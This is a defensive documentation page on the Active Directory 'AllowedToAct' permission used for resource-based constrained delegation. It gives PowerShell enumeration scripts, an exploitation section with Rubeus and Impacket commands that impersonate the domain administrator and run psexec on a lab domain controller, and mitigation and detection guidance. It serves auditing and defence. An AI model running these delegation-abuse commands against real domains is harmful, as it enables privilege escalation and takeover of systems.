# AllowedToAct

## Summary

|                            |                                          |
| -------------------------- | ---------------------------------------- |
| **FSProtect ACL Alias**    | AllowedToAct                             |
| **Affected Object Types**  | Computers                                |
| **Exploitation Certainty** | Certain                                  |
| **AD Attribute**           | msDS-AllowedToActOnBehalfOfOtherIdentity |
| **AD Attribute Guid**      | 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79     |

## Description

The `AllowedToAct` edge in Active Directory indicates that a computer account has the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute. This setting is used for Kerberos Resource-Based Constrained Delegation (RBCD), allowing services to impersonate users securely and access resources on their behalf.

If misconfigured, the `AllowedToAct` permission can create serious security risks. An attacker who controls an account granted this permission can abuse RBCD to impersonate arbitrary users when accessing services on the targeted machine. This can lead to unauthorized access, privilege escalation, and full system compromise — including acting as domain administrators to access sensitive resources.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `AllowedToAct` entries.

**1.** Find-AllowedToAct function

```powershell
function Find-AllowedToAct {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AllowedToAct.csv")
    Import-Module ActiveDirectory
    Write-Host "Gathering Active Directory objects with resource-based constrained delegation settings..."
    $adObjectParams = @{
        Filter     = "*"
        Properties = "msDS-AllowedToActOnBehalfOfOtherIdentity"
        ErrorAction = "Stop"}
    if ($SearchBase) {$adObjectParams.Add("SearchBase", $SearchBase);Write-Host "Searching for objects within '$SearchBase'."} else {$adObjectParams.Add("SearchBase", (Get-ADRootDSE).DefaultNamingContext);Write-Host "Searching for all objects in the domain."}
    $results = @();$objectsToScan = @()
    try {if ($Target) {
            Write-Host "Searching for delegation properties on specific object: '$Target'."
            $specificObject = Get-ADComputer -Identity $Target -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity" -ErrorAction Stop
            if ($specificObject) { $objectsToScan += $specificObject} else {Write-Output "Object '$Target' not found.";return}
        } else {$objectsToScan = Get-ADComputer @adObjectParams}
        $objectsToScan = $objectsToScan | Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' }
        if (-not $objectsToScan) { Write-Output "No objects found with 'msDS-AllowedToActOnBehalfOfOtherIdentity' configured.";return}
        Write-Host "Processing $($objectsToScan.Count) object(s)..."
        foreach ($object in $objectsToScan) {
            $secDesc = $object.'msDS-AllowedToActOnBehalfOfOtherIdentity'
            if ($secDesc -is [System.DirectoryServices.ActiveDirectorySecurity]) {
                foreach ($ace in $secDesc.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])) {
                    $sid = $ace.IdentityReference;$objectName = "Unknown" # Default value
                    try {
                        $adObject = [ADSI]("LDAP://<SID=$($sid.Value)>")
                        if ($adObject.Properties["name"].Count -gt 0) {$objectName = $adObject.Properties["name"][0]} else {$objectName = "SID: $($sid.Value)"  }}
                    catch {Write-Warning "Could not resolve SID '$($sid.Value)' for object '$($object.Name)': $($_.Exception.Message)";$objectName = "SID: $($sid.Value) (Resolution Failed)";}
                    $results += [PSCustomObject]@{
                        To          = $object.Name
                        CanDelegate = $objectName}}} else {Write-Warning "The 'msDS-AllowedToActOnBehalfOfOtherIdentity' attribute for object '$($object.Name)' is not a valid ActiveDirectorySecurity object. Type: $($secDesc.GetType().FullName)"}}}
    catch { Write-Error "Failed to retrieve Active Directory objects or process delegation settings: $($_.Exception.Message)";return; }
    if ($results.Count -gt 0) {
        Write-Host "Found $($results.Count) resource-based constrained delegation entry/entries."
        try {$results | Sort-Object -Unique To, CanDelegate | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Output "Results exported successfully to '$OutputPath'"}catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"}} else {Write-Output "No resource-based constrained delegation entries found."}}
```

**2.** Scan all domain computers objects

```powershell
Find-AllowedToAct
```

**3.** Scan a specified computer object

```powershell
Find-AllowedToAct -Target vm01
```

**4.** Using SearchBase to limit the Scope

```powershell
Find-AllowedToAct -SearchBase "OU=Workstations,DC=forestall,DC=labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `AllowedToAct` entries without relying on external modules or dependencies.

**1.** Find-AllowedToActSimple function

```powershell
function Find-AllowedToActSimple {
    [CmdletBinding()]
    param ([string]$Target     = $null,[string]$SearchBase = $null,[string]$OutputPath = "AllowedToAct.csv")
    $rootDse  = [ADSI]"LDAP://RootDSE";$domainDN = $rootDse.defaultNamingContext
    $ldapRoot = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$domainDN" };$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldapRoot)
    $searcher.Filter = if ($Target) { "(&(objectClass=computer)(cn=$Target))" } else { "(objectClass=computer)" };$searcher.PageSize = 500
    $searcher.PropertiesToLoad.Add('cn') | Out-Null;$searcher.PropertiesToLoad.Add('msDS-AllowedToActOnBehalfOfOtherIdentity') | Out-Null
    $results = @()
    foreach ($entry in $searcher.FindAll()) {
        $name = $entry.Properties['cn'][0]
        if ($entry.Properties['msDS-AllowedToActOnBehalfOfOtherIdentity'].Count -gt 0) {
            $raw = $entry.Properties['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]
            $secDesc = New-Object System.DirectoryServices.ActiveDirectorySecurity
            $secDesc.SetSecurityDescriptorBinaryForm($raw)
            foreach ($ace in $secDesc.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])) {
                $sid = $ace.IdentityReference
                $objectName = "Unknown"
                try {
                    $adObject = [ADSI]("LDAP://<SID=$($sid.Value)>")
                    if ($adObject.Properties["name"].Count -gt 0) {$objectName = $adObject.Properties["name"][0]} else {$objectName = "SID: $($sid.Value)"}} catch {
                    Write-Warning "Could not resolve SID '$($sid.Value)' for object '$name': $($_.Exception.Message)"
                    $objectName = "SID: $($sid.Value) (Resolution Failed)"}
                $results += [PSCustomObject]@{
                    To          = $name
                    CanDelegate = $objectName}}} else {Write-Verbose "No msDS-AllowedToActOnBehalfOfOtherIdentity attribute for '$name'"}}
    if ($results.Count -gt 0) {
        $results | Sort-Object -Property To, CanDelegate -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8;Write-Host "Exported $($results.Count) entries to '$OutputPath'"
    } else {Write-Host "No resource-based constrained delegation entries found."}}
```

**2.** Scan all domain computers

```powershell
Find-AllowedToActSimple
```

**3.** Scan a specific computer

```powershell
Find-AllowedToActSimple -Target "vm01"
```

This edge cannot be identified using the Active Directory Users and Computers (ADUC) GUI.

## Exploitation

### Windows

#### To get a `TGT` using `Rubeus`

```powershell
Rubeus.exe asktgt /user:"controlledaccountwithSPN" /aes265:<aeskey> /nowrap
```

To get a service ticket impersonating the administrator:

```powershell
Rubeus.exe s4u /nowrap /impersonateuser:"<impersonateUser>" /msdsspn:"<Vulnerable Computer's SPN>" /domain:"<Domain FQDN>" /user:"<Controlled Computer Account>" /ticket:<base64ticketofcontrolleduser>
```

#### To calculate the NTLM hash and AES keys

```powershell
Rubeus.exe hash /password:<Password>

# OR for a specific user
Rubeus.exe hash /user:<Username> /domain:"<Domain FQDN>" /password:<Password>
```

Example:

```powershell
Rubeus.exe tgtdeleg /nowrap
```

![Get TGT for current user](/files/DrPxRxwEkgujwhFlruaU)

```powershell
.\Rubeus.exe s4u /msdsspn:"cifs/dc.forestall.labs" /impersonateuser:administrator /ptt /nowrap /ticket:"doI[snip..]Uw==" 
```

![Get TGS using s4u](/files/2K6SEc4y056682nqK5Zd)

#### Access c$ share on target

```powershell
ls \\dc.forestall.labs\c$
```

![Check admin access on c$](/files/0ql81QzWiTZS9z4RWdT2)

### Linux

You can also perform Resource-Based Constrained Delegation (RBCD) from Linux. The Impacket tools must be installed before running these commands.

#### To get a service ticket

```bash
impacket-getST -spn '<Target SPN>' -impersonate '<Impersonated User>' -dc-ip 'Domain Controller IP' '<Domain>'/'<Controlled Computer Account>$:<Password>'
```

#### Execute on the target machine

```bash
KRB5CCNAME='<ticket.ccache>' impacket-psexec -k -no-pass '<Domain>/<Impersonated User>@<Target Address>'
```

Example:

#### To get a service ticket

```bash
impacket-getST -spn cifs/dc.forestall.labs -impersonate administrator forestall.labs/sql_svc:'JustLongPass123!@#'
```

![Get TGS using getST](/files/eWDsXy9M13pSYkPYdyCm)

#### Execute on the target machine

```bash
KRB5CCNAME='administrator@cifs_dc.forestall.labs@FORESTALL.LABS.ccache' impacket-psexec -k -no-pass forestall.labs/administrator@dc.forestall.labs
```

![Execute on target machine using psexec](/files/WgTgcFd94pw9KCH9hJH3)

## Mitigation

Remove dangerous access control entries from computer objects. The following PowerShell command clears the attribute from a computer object:

```powershell
Set-ADComputer -Identity <Vulnerable Computer> -clear msDS-AllowedToActOnBehalfOfOtherIdentity
```

Example:

```powershell
Set-ADComputer -Identity dc -clear msDS-AllowedToActOnBehalfOfOtherIdentity
```

## Detection

Adding new access control entries on computer objects changes the `ntSecurityDescriptor` attribute. These changes can be detected using Event IDs 5136 and 4662 to identify modifications to computer objects.

| Event ID | Description                                           | Fields/Attributes           | References                                                                                                                     |
| -------- | ----------------------------------------------------- | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified.              | ntSecurityDescriptor        | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                     |
| 4662     | An operation was performed on an object.              | AccessList, AccessMask      | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                     |
| 4768     | A Kerberos authentication ticket (TGT) was requested. | TargetUserName              | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768> |
| 4769     | A Kerberos service ticket was requested.              | TargetUserName, ServiceName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769> |

## References

* [RBCD (Resource-Based Constrained Delegation) - TheHacker.recipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd)
* [Wagging the Dog: RBCD Abuse - Shenanigans Labs](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [RBCD Abuse Techniques - Redfox Security Blog](https://redfoxsec.com/blog/rbcd-resource-based-constrained-delegation-abuse/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/allowedtoact.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
